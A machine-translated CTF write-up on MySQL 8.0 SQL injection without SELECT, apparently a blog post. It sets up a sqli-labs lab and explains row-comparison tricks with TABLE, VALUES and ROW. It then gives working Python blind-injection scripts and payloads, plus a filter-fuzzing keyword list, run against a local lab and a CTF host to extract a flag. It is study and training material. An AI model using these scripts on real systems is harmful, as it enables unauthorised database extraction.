No select SQL injection

Posted by misseether on Thu, 23 Dec 2021 11:10:47 +0100

Ez_sql.wp

Address: http://110.40.245.122:8001/

01 shooting range construction

reference

https://xz.aliyun.com/t/8646

http://www.suphp.cn/anquanke/27/231627.html

Because tables are filtered in CTF shooting range, you can build your own shooting range to learn this knowledge point

In the literature, the shooting range environment is built with docker. Bloggers have tried to build it with docker in CentOs and PHPStudy in Win2008. If you don't want to see it, you can jump to the injection principle > Click here<

Docker

Recommended courses: [crazy God says JAVA] Docker Supporting notes

link:https://caiyun.139.com/m/i?175CdDsfbwz5h
 Extraction code:QnCk
 Copy content, open and color cloud PC Client, the operation is more convenient

be careful

  1. It is not recommended to use kali. mysql connection will cause problems. I use CentOS 7, which is matched with crazy God's course
  2. It is recommended to configure the source as Ali source, otherwise it will be very slow. Just follow the course of crazy God
  3. Here we will only talk about the process of building the shooting range and the pits encountered

For the installation of docker and docker compose, please refer to [crazy God says JAVA] Docker ,Centos install docker compose , it is assumed that the installation has been completed and you are familiar with docker related operations

Build mysql8 zero point two two

Pull the image and create the container, map the 3306d port in the container to the local 3306 port, and the initialization password is 123456

docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.22

Then enter the container

[root@localhost ~]# docker ps   
[root@localhost ~]# docker exec -it ContainerID /bin/bash # Replace the ContainerID with e858d4529374 in the following figure

The above figure shows MySQL: 8.0 22. The Container ID of the container is described, which will not be described below

After entering the container, log in to MySQL and modify the default authentication method

root@e858d4529374:/# mysql -uroot -p123456
mysql> ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY '123456';
mysql> flush privileges;

Configuration complete

Build sqli Labs

Download range

[root@localhost ~]# git clone git://github.com/c0ny1/vulstudy.git

Then enter the / root / vulstudy / sqli labs directory and start the shooting range

[root@localhost sqli-labs]# docker-compose up -d

Check the local IP address

ip addr   # Generally, it is the IP corresponding to ens33

Enter container

[root@localhost sqli-labs]# docker ps  # View c0ny1 / sqli labs: CONTAINER ID corresponding to 0.1 container
[root@localhost sqli-labs]# docker exic -it 2ff520265c25 /bin/bash

Here we can first install vim for easy operation. Refer to the blog above

sed -i s@/deb.debian.org/@/mirrors.aliyun.com/@g /etc/apt/sources.list
apt-get clean && apt-get update && apt-get install vim

Then go to the / APP / SQL connections directory and edit the configuration file DB creds inc

root@2ff520265c25:/app/sql-connections# vim db-creds.inc

# The specific configuration is as follows
<?php                                               
	//give your mysql connection username n password    
    $dbuser ='root';                                    
    $dbpass ='123456';                                  
    $dbname ="security";                                
    $host = '172.16.128.1';       # Here is the IP address of the Centos machine just viewed                      
    $dbname1 = "challenges";                                                
?>                                                 
                                                    

Then we need to exit the container and restart the container

At this time, access the CentOS native address, which is 172.16 128.1, you can open the main page of sqli lib

Configuration complete

PHPStudy

Because the latest version of PHPStudy pro is only 8.0 12, so we need to download 8.0 19 and later versions of MySQL, download address MySQL Community Server 8.0.27 . Meanwhile, PHPStudy pro should be installed with 8.0 12 version of MySQL, so it will be in PHPStudy_ MySQL 8.0 exists under Pro \ extensions \ 0.12 directory, which will be downloaded after 8.0 Unzip all the contents of the 27 version compressed package to MySQL 8 Under the 0.12 directory, ask whether to replace or merge the original content, click Yes, and then start PHPStudy to observe whether MySQL is started successfully.

There is a hole here, that is, the PHP version of the latest version of PHPStudy pro is 7.3 by default 4, this version and 5* Some syntax incompatibilities, such as mysql, are not supported_ Query supports mysqli instead_ Query, here or change to 5* Version of PHP, and then install sqli-labs-master , or install Sqli lab for PHP7 .

The rest will not be repeated. There are many articles on PHPStudy installing sqli lab on the Internet. Learn by yourself.

02 comparison injection principle

Using mysql8 0 injection can be classified as Boolean blind injection, which is called comparative injection

Comparison principle

First, let's talk about the comparison between strings, numbers and strings, strings and numeric strings in MySQL, which is similar to the corresponding comparison in PHP

String to string comparison

The comparison order is from left to right, and the ASCII codes of each letter are compared in turn. If the left of the first letter is greater than the right, the left string is greater than the right string, and the comparison ends. If the first letter is the same, compare the second letter, and so on

mysql> select 'a' < 'b';  
+-----------+             
| 'a' < 'b' |             
+-----------+             
|         1 |             
+-----------+             
1 row in set (0.01 sec)   
    
    
                          
mysql> select 'az' < 'ba';		//The first letter is case sensitive and the comparison is complete.
+-------------+           
| 'az' < 'ba' |           
+-------------+           
|           1 |           
+-------------+           
1 row in set (0.00 sec)   
    
    
mysql> select 'az' < 'aa';		//The first letter is the same, compare the second
+-------------+           
| 'az' < 'aa' |           
+-------------+           
|           0 |           
+-------------+           
1 row in set (0.00 sec)   

It should be noted that MySQL is case insensitive by default in Windows and case sensitive by default in Linux; PHP is case sensitive by default

You can refer to it Case problem in MySQL , I'm a little confused here. I'd better finish this article before reading it

# Linux

mysql> table information_schema.schemata limit 4,1;
=> ('def','security','gbk','gbk_chinese_ci','NULL,NO')

1 row in set (0.00 sec)


mysql> select @@version_compile_os;
+----------------------+
| @@version_compile_os |
+----------------------+
| Linux                |
+----------------------+
1 row in set (0.00 sec)


mysql> show variables like 'lower%';
+------------------------+-------+
| Variable_name          | Value |
+------------------------+-------+
| lower_case_file_system | OFF   |	# OFF means that the current file system is case sensitive, so the database name is case sensitive
| lower_case_table_names | 0     |	# 0 means that table names are case sensitive
+------------------------+-------+
2 rows in set (0.01 sec)


mysql> select ('def','Z','','','','')<=(table information_schema.schemata limit 4,1);
+------------------------------------------------------------------------+
| ('def','Z','','','','')<=(table information_schema.schemata limit 4,1) |
+------------------------------------------------------------------------+
|                                                                      1 |
+------------------------------------------------------------------------+
1 row in set (0.00 sec)


# Windows

mysql> select @@version_compile_os;
+----------------------+
| @@version_compile_os |
+----------------------+
| Win64                |
+----------------------+
1 row in set (0.00 sec)


mysql> select ('def','Z','','','','')<=(table information_schema.schemata limit 4,1);
+------------------------------------------------------------------------+
| ('def','Z','','','','')<=(table information_schema.schemata limit 4,1) |
+------------------------------------------------------------------------+
|                                                                      1 |
+------------------------------------------------------------------------+
1 row in set (0.00 sec)


mysql>  select ('def','Z','','','','')<=(table information_schema.schemata limit
 4,1);
+------------------------------------------------------------------------+
| ('def','Z','','','','')<=(table information_schema.schemata limit 4,1) |
+------------------------------------------------------------------------+
|                                                                      0 |
+------------------------------------------------------------------------+
1 row in set (0.00 sec)


# The following comparison is true on both Linux and Windows because MySQL is case insensitive when querying strings
mysql> select 'A' = 'a';    
+-----------+               
| 'A' = 'a' |               
+-----------+               
|         1 |               
+-----------+               
1 row in set (0.00 sec)     


mysql> select 'Z' > 'a';	# The ascii of 'a' is greater than 'Z'
+-----------+
| 'Z' > 'a' |
+-----------+
|         1 |
+-----------+
1 row in set (0.00 sec)

And PHP

<?php
var_dump("a" == "A"); 		# bool(false)
?>

Number and string comparison

When comparing strings with numbers in mysql, it will automatically truncate from the first non numeric character, convert the string before the truncation point into numbers, and then compare. The same goes for PHP

mysql> select 'a' = 1;
+---------+
| 'a' = 1 |
+---------+
|       0 |
+---------+
1 row in set, 1 warning (0.00 sec)


mysql> select 'a' = 0;
+---------+
| 'a' = 0 |
+---------+
|       1 |
+---------+
1 row in set, 1 warning (0.00 sec)


mysql> select '1a' = 1;
+----------+
| '1a' = 1 |
+----------+
|        1 |
+----------+
1 row in set, 1 warning (0.00 sec)


mysql> select '100adfasfdds' = 100;
+----------------------+
| '100adfasfdds' = 100 |
+----------------------+
|                    1 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

An example of PHP is attached

<?php
var_dump("a" == 100);		# bool(false)
var_dump("100a" == 100)		# bool(true)
?>

Comparison of string and numeric characters

In essence, the string is compared with the string. The first bit on the left is a, the ascii code is 97, and the first bit on the right is 1. Therefore, the left string is larger than the right string, and the comparison ends. The same goes for PHP.

mysql> select ascii('a');
+------------+
| ascii('a') |
+------------+
|         97 |
+------------+
1 row in set (0.00 sec)


mysql> select ascii(1);		# Without '', the number in MySQL can be automatically converted into a string, and ascii(a) will report an error, "Unknown column 'a' in 'field list'", and MySQL will take a as the field name
+------------+
| ascii('1') |
+------------+
|         49 |
+------------+
1 row in set (0.00 sec)


mysql> select 'a' > '10000';
+---------------+
| 'a' > '10000' |
+---------------+
|             1 |
+---------------+
1 row in set (0.00 sec)

PHP

<?php
var_dump("a">"10000");
?>
    
bool(true)

New MySQL 8.0 features

table

In traditional injection, if the select character is fully filtered, it is basically GG... In MySQL 8.0, a keyword table instead of select appears. The usage is as follows:

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

Support order by and limit. about offset I studied by the way.

mysql> table users order by username limit 0,5;
+----+----------+----------+                   
| id | username | password |                   
+----+----------+----------+                   
|  8 | admin    | admin    |                   
|  9 | admin1   | admin1   |                   
| 10 | admin2   | admin2   |                   
| 11 | admin3   | admin3   |                   
| 14 | admin4   | admin4   |                   
+----+----------+----------+                   
5 rows in set (0.01 sec)                       

TABLE difference SELECT There are two main aspects:

  • TABLE always displays all columns of the TABLE.
  • TABLE does not allow any arbitrary filtering of rows; That is, TABLE does not support any WHERE clause.

values

VALUES row_constructor_list [ORDER BY column_designator] [LIMIT number]

row_constructor_list:
    ROW(value_list)[, ROW(value_list)][, ...]

value_list:
    value[, value][, ...]

column_designator:
    column_index

The VALUES keyword is followed by a list of one or more row constructors to construct a table. The row constructor is a function that can construct a row of the table. The following row() is

mysql> VALUES ROW(1,2,3);
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
|        1 |        2 |        3 |
+----------+----------+----------+
1 row in set (0.00 sec)


mysql> VALUES ROW(1,-2,3), ROW(5,7,9), ROW(4,6,8);		# List formed by row constructor
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
|        1 |       -2 |        3 |
|        5 |        7 |        9 |
|        4 |        6 |        8 |
+----------+----------+----------+
3 rows in set (0.00 sec)

values can be followed by union to determine the number of columns and inject

mysql> select * from users where id = 1 union values row(1,2,3);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
|  1 | 2        | 3        |
+----+----------+----------+
2 rows in set (0.04 sec)

If the number of columns is wrong, an error will be reported

Injection analysis

Let's first modify the source code of Less-1 so that it can pick but filter select, enter the sqli lag container for modification, and its source code is located in / APP / Less-1 / index php

// connectivity  		#  Add the following code in this position of the source code
function blacklist($id)
{
    $id= preg_replace('/select/i',"", $id);

    return $id;
}

$id = blacklist($id);

Here is nothing more than the old routine, database name (optional) → table name → field name → data

Database name

mysql> table information_schema.schemata;			# List all database information

You can see information_ schema. The schemata table has 6 columns, and the catalog of all records_ Name is def. Our new database appears on the fifth line. If limit is used, then limit 4,1 is the new database security record.

mysql> table information_schema.schemata limit 0,1;	# mysql database line
mysql> table information_schema.schemata limit 1,1;	# information_schema data line
...
mysql> table information_schema.schemata limit 4,1;	# The database we want to inject

In practice, we can try to inject directly from limit 4,1. If an error is reported, we can reduce the value of the first parameter of limit. The following statement is used to judge the total number of databases. Generally, the records of the new database are at the bottom.

?id=1' and (table information_schema.schemata limit 1,1)> ('0','',3,4,5,6)--+ 		
# If limit 2,1 makes and followed by false, and limit 1,1 makes and followed by true, there are only two databases

According to the comparison principle, the comparison between strings starts from the first letter of the first field from left to right. If the size of a letter in the first field is successful, the comparison will be stopped. If it is equal, the next letter will be compared. If all letters in the field are equal, the next field will be compared, and so on. The value of the first field is fixed, so we compare the first letter of the second field for the first time, that is, s in security.

I need to repeat it here On SQL injection by using the new features of mysql8 A note mentioned in

The last column of the current column needs to be represented by characters, not numbers, otherwise the last character of the current column will not be judged! In addition to this column that needs to be represented by characters, numbers are recommended for other columns, because numbers can be used as both strings and numbers. Errors caused by different character types can be avoided during comparison

mysql> select (1,'Dumb',1)<=(1,'Dumb','Dumb');
+---------------------------------+
| (1,'Dumb',1)<=(1,'Dumb','Dumb') |
+---------------------------------+
|                               0 |
+---------------------------------+
1 row in set, 1 warning (0.00 sec)


mysql> select (1,'Dumb','')<=(1,'Dumb','Dumb');
+----------------------------------+
| (1,'Dumb','')<=(1,'Dumb','Dumb') |
+----------------------------------+
|                                1 |
+----------------------------------+
1 row in set (0.00 sec)

Therefore, the initialization string can be set to ('def ',' 0 ',' 4,5,6)

?id=1' and (('def','0','',4,5,6)<=(table information_schema.schemata limit 4,1))--+

It's the same when using < or < = here. So we just need to replace the position of 0 with all possible printable characters and write a fuzzy script, where the database name, table name, field name, etc. should be based on MySQL naming convention Generally, the database name is set by [0-9A-Za-z_] Composed of. We can start with 0.

import requests

fuzz_ascii = list(range(48,58))+list(range(65,91))+list(range(95,123))	# [0-9A-Za-z_]

for i in fuzz_ascii:
    res = requests.get("http://172.16.128.1/Less-1/?id=1' and ('def','"+chr(i)+"','',4,5,6)<=(table information_schema.schemata limit 4,1)--+")
    if 'Your Login name:Dumb' in res.text:
        print("less than/be equal to: {0}".format(chr(i)))
    else:
        print("greater than: {0}".format(chr(i)))

The first letter is s, and then test the second letter. Just modify the value of the res parameter in the script

res = requests.get("http://172.16.128.1/Less-1/?id=1' and ('def','s"+chr(i)+"','',4,'5','6')<=(table information_schema.schemata limit 4,1)--+")

After judging the last letter, i.e

res = requests.get("http://172.16.128.1/Less-1/?id=1' and ('def','security"+chr(i)+"','',4,5,6)<=(table information_schema.schemata limit 4,1)--+")

Any character on the left is larger than the empty character on the right, so all characters are greater than

So we can conclude that the first database is security. If you want to judge the current database, you can

?id=1' and ascii(substr(database(),1,1))--+

To judge, there is no need to select

Table name

mysql> table information_schema.tables;			# List information for all tables

Since table cannot use where, each table in each database will be used as a record. information_schema.tables has 21 columns in total, and all records have tables_ The value of catalog is def.

First, we need to find the number of rows in the first table of the security database

It can be judged from these two inequalities that only records with the second field of security can meet the following two conditions

('def','security','0') <= ('def','security','*') # *Represents any character
('def','security','z') >= ('def','security','*')

So construct the script

import requests

fuzz_ascii = range(1,500)
test = []

for i in fuzz_ascii:
    res1 = requests.get("http://172.16.128.1/Less-1/?id=1' and ('def','security','z','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21) >= (table information_schema.tables limit "+str(i)+",1)--+")
    res2 = requests.get("http://172.16.128.1/Less-1/?id=1' and ('def','security','0','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21) <=(table information_schema.tables limit "+str(i)+",1)--+")
    if 'Your Login name:Dumb' in res1.text and 'Your Login name:Dumb' in res2.text:
        print("yes: {0}".format(i))
        test.append(i)

print(test)

As can be seen from the results, the four lines 322-325 are about the security database

Then we start blasting table names. Therefore, according to the above analysis of the database name, we can directly modify the script

import requests

fuzz_ascii = list(range(48,58))+list(range(65,91))+list(range(97,123))

for i in fuzz_ascii:
    res = requests.get("http://172.16.128.1/Less-1/?id=1' and ('def','security','"+chr(i)+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 322,1)--+")
    if 'Your Login name:Dumb' in res.text:
        print("less than/be equal to: {0}".format(chr(i)))
    else:
        print("greater than: {0}".format(chr(i)))

In this way, we can conclude that the first table of security is users. When all the table names have been obtained, the results are all greater than, indicating that it has reached the last place

('def','security','users"+chr(i)+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)

Field name

mysql> table information_schema.columns;			# List information for all tables

information_ schema. The columns table has 22 columns and the table of all records_ Catalog is def. It is also divided into two stages. First, find security The number of rows of the record corresponding to the users table, and then explode the fourth column column_ Content of name

The principle is the same as before. Here is the script, which is similar

# Find the row where the record is located

import requests

fuzz_ascii = range(1,10000)
test = []

for i in fuzz_ascii:
    res1 = requests.get("http://172.16.128.1/Less-1/?id=1' and ('def','security','users','z','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22) >= (table information_schema.columns limit "+str(i)+",1)--+")
    res2 = requests.get("http://172.16.128.1/Less-1/?id=1' and ('def','security','users','0','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22) <=(table information_schema.columns limit "+str(i)+",1)--+")
    if 'Your Login name:Dumb' in res1.text and 'Your Login name:Dumb' in res2.text:
        print("yes: {0}".format(i))
        test.append(i)
print(test)

Note that there are 22 columns and turn up our fuzzy appropriately_ Value of ASCII

# First field name

import requests

fuzz_ascii = list(range(48,58))+list(range(65,91))+list(range(95,123))      # 0-9A-Za-z_

for i in fuzz_ascii:
    res = requests.get("http://172.16.128.1/Less-1/?id=1' and ('def','security','users','"+chr(i)+"','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3415,1)--+")
    if 'Your Login name:Dumb' in res.text:
        print("less than/be equal to: {0}".format(chr(i)))
    else:
        print("greater than: {0}".format(chr(i)))

The actual blasting results here are indeed like this

Maybe it's for this reason Mysql case sensitive (case sensitive) configuration

MySQL stay Linux The following database name, table name, column name and alias case rules are as follows:
   1,Database names and table names are strictly case sensitive;
   2,Table aliases are strictly case sensitive;
   3,Column names and column aliases ignore case in all cases;
   4,Variable names are also strictly case sensitive;

Case ignored, natural = = 'Z' = 'Z' > 'a'==

So we can get security The users field names are id, username and password respectively

Blasting data

Here we have to face a problem, that is, how many records are there in users, fuzzy

import requests

num = range(0,100)
for i in num:
    res = requests.get("http://172.16.128.1/Less-1/?id=1'and (0,0,0)<=(table security.users limit "+str(i)+",1)--+")
    if 'Your Login name:Dumb' in res.text:
        print("The first"+str(i+1)+"Records")
    else:
        pass

Or when the value of the first field is' 0 '(' 0 ',' ', 1) is still greater than, indicating that a parameter of limit has been exceeded, so all values are NULL

Then the blasting data, like the previous truth, should be noted that the characters should be taken Printable character , the decimal system of ASCII code is the interval [32126]. At the same time, some interference characters should be removed, such as #[35], \ [92], & [38], '[39], "[34], = [61], < [60], > [62]. If these data may exist in the data, they can be added and noted again. Here, they should be removed first for observation (some interference characters are added later, and the following figure only illustrates the principle)

import requests

fuzz_ascii = list(range(32,34))+list(range(36,38))+list(range(40,60))+list(range(63,92))+list(range(93,127))    

for i in fuzz_ascii:
    res = requests.get("http://172.16.128.1/Less-1/?id=1' and ('"+chr(i)+"','',1) <= (table security.users limit 0,1)--+")
    if 'Your Login name:Dumb' in res.text:
        print("less than/be equal to: {0}".format(chr(i)))
    else:
        print("greater than: {0}".format(chr(i)))

The first letter of the first field is 1

res = requests.get("http://172.16.128.1/Less-1/?id=1' and ('1"+chr(i)+"','',1) <= (table security.users limit 0,1)--+")

Then test the second field

03 judge closing and annotation mode

'--+

04 characters filtered by fuzzy topic

Adjust the fuzzy script according to the return value

import requests

sql_char = ['select',
            'Select',
            'sElect',
            'seLect',
            'selEct',
            'seleCt',
            'selecT',
            'SElect',
            'SeLect',
            'SelEct',
            'SeleCt',
            'SelecT',
            'sELect',
            'sElEct',
            'sEleCt',
            'sElecT',
            'seLEct',
            'seLeCt',
            'seLecT',
            'selECt',
            'selEcT',
            'seleCT',
            'SELect',
            'SElEct',
            'SEleCt',
            'SElecT',
            'SeLEct',
            'SeLeCt',
            'SeLecT',
            'SelECt',
            'SelEcT',
            'SeleCT',
            'sELEct',
            'sELeCt',
            'sELecT',
            'seLECt',
            'seLEcT',
            'selECT',
            'seLECT',
            'sElECT',
            'sELeCT',
            'sELEcT',
            'sELECt',
            'SelECT',
            'SeLeCT',
            'SeLEcT',
            'SeLECt',
            'SEleCT',
            'SElEcT',
            'SElECt',
            'SELecT',
            'SELeCt',
            'SELEct',
            'sELECT',
            'SeLECT',
            'SElECT',
            'SELeCT',
            'SELEcT',
            'SELECt',
            'SELECT',
            'infomation_schema',
            'schemata',
            'tables',
            'table',
            'columns',
            'row',
            'limit',
	    	'union',
	    	'and',
	    	'or',
	    	'sleep',
	    	'where',
	    	'from',
	    	'limit',
	   		'group',
	    	'by',
	    	'like',
	    	'prepare',
	    	'as',
	    	'if',
	   		'char',
	    	'ascii',
	    	'mid',
	    	'left',
	   		'right',
            'substring',
            'handler',
            'updatexml',
            'extractvalue',
            'benchmark',
            'insert',
            'update',
            'all',
            '@',
            '#',
            '^',
            '&',
            '*',
            '\'',
            '"',
            '~',
            '`',
            '(',
            ')',
            '--',
            '=',
            '/',
            '\\',
            ' ',
            '<',
            '>']

for char in sql_char:
    res = requests.get("http://110.40.245.122:8001/index.php?username=admin&password=admin' "+char+"--+&submit=login")
    if 'you are hacker' in res.text:
        print("The character is illegal: {0}".format(char))
    else:
        print("adopt: {0}".format(char))

Screenshot of some results:

Finally, the filtering results are: select, =, tables<

  • Attempts to bypass select failed. Using MySQL 8.0 The features updated in version 19 can be injected through size comparison by using the keywords table, values and row.

  • =You can use like instead

  • If tables is filtered, there is no way to note the table name. You can only guess

  • < can be replaced by >

05 start injection

So much foreshadowing has been done before. In order to easily understand and learn the principle, its value is far greater than just making a problem.

Database

method.1

http://172.16.128.1/Less-1/?id=1' and ascii(substr(database(),1,1))>0 --+

method.2

Using the previous script, note that you can only use >. First, manually judge how many databases there are

?id=1' and (table information_schema.schemata limit 1,1)> ('0','',3,4,5,6)--+ 		# login success	
?id=1' and (table information_schema.schemata limit 2,1)> ('0','',3,4,5,6)--+ 		# login wrong

Blasting database name

import requests

fuzz_ascii = list(range(48,58))+list(range(65,91))+list(range(95,123))

for i in fuzz_ascii:
    res = requests.get("http://110.40.245.122:8001/?username=admin&password=admin' and (table information_schema.schemata limit 1,1) > ('def','"+chr(i)+"','',4,5,6)--+")
    if 'login success' in res.text:
        print("greater than/be equal to: {0}".format(chr(i)))
    else:
        print("less than: {0}".format(chr(i)))

   # The first letter is m     
        
        

	# res = requests.get("http://110.40.245.122:8001/?username=admin&password=admin' and (table information_schema.schemata limit 1,1)>('def','m"+chr(i)+"','',4,5,6)--+")

	# Add m and replace res with the above, and you can get that the second letter is y
        

You can get the database name myDb

Tables

Because the keywords of tables are filtered, in addition to guessing, information_ schema. There are also records about table names in the table columns, but we need to find the number of rows where the records are located

Columns

There are still two steps. First, judge information_ schema. The record where the mydb library is located is in information_ schema. Which rows of the columnsd table. Since < and = arefiltered, further judgment is required according to the results

import requests

fuzz_ascii = range(1,2000)
test = []

for i in fuzz_ascii:
    res1 = requests.get("http://110.40.245.122:8001/?username=admin&password=admin' and  ('def','myDb','z',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22) > (table information_schema.columns limit "+str(i)+",1)--+")
    if 'login success' in res1.text:
        print("yes: {0}".format(i))
        test.append(i)
print(test)

Since the record of myDb will definitely return login success, we might as well look forward to limit 735

Second: since there is no blasting table name, the table name is reported here, which is the third field, and then the column name is blasted, which is the fourth field

Blasting table name:

import requests


fuzz_ascii = list(range(48,58))+list(range(65,91))+list(range(95,123))      # 0-9A-Za-z_

for i in fuzz_ascii:
    res = requests.get("http://110.40.245.122:8001/?username=admin&password=admin' and (table information_schema.columns limit 735,1) > ('def','myDb','"+chr(i)+"',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)--+")
    if 'login success' in res.text:
        print("greater than/be equal to: {0}".format(chr(i)))		# >It also holds when both ends are equal
    else:
        print("less than: {0}".format(chr(i)))

This is the result of exploding the first letter, which seems to be a bit reliable

After blasting, the table name is flag, indicating that there is such a table in myDb

Burst field name

import requests


fuzz_ascii = list(range(48,58))+list(range(65,91))+list(range(95,123))      # 0-9A-Za-z_

for i in fuzz_ascii:
    res = requests.get("http://110.40.245.122:8001/?username=admin&password=admin' and (table information_schema.columns limit 735,1) > ('def','myDb','flag','"+chr(i)+"','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)--+")
    if 'login success' in res.text:
        print("greater than/be equal to: {0}".format(chr(i)))
    else:
        print("less than: {0}".format(chr(i)))

The name of a field in the flag table is flag, which should be what we need. However, we need to know how many fields the flag table has and where the flag field is located. The first problem can be solved through values row(1,2,3,...) To test, but if you can note all the field names, you can directly solve these two problems. So blow up the record of limit 734. Suppose it is still the myDb database. As long as it is not all less than or greater than, it means it is still in the myDb database. It's still the same as before

(table information_schema.columns limit 734,1) > ('def','myDb','"+chr(i)+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)

You can get that the first and second letters of the table name are Pe, so one field of the flag table is flag

Data

import requests

fuzz_ascii = list(range(32,34))+list(range(36,38))+list(range(40,60))+list(range(63,92))+list(range(93,127))  

for i in fuzz_ascii:
    res = requests.get("http://110.40.245.122:8001/?username=admin&password=admin' and (table myDb.flag) > ('"+chr(i)+"')--+")
    if 'login success' in res.text:
        print("greater than/be equal to: {0}".format(chr(i)))
    else:
        print("less than: {0}".format(chr(i)))

The notes here are also case insensitive.. Let's assume lowercase..

res = requests.get("http://110.40.245.122:8001/?username=admin&password=admin' and (table myDb.flag) > ('flag{ca6s51c6sa1cas65c1as6c16}"+chr(i)+"')--+")

Incorrect. . .

Verify it

http://110.40.245.122:8001/?username=admin&password=admin' and (table myDb.flag) like 'flag{ca6s51c6sa1cas65c1as6c16}'--+

login success

Topics: SQL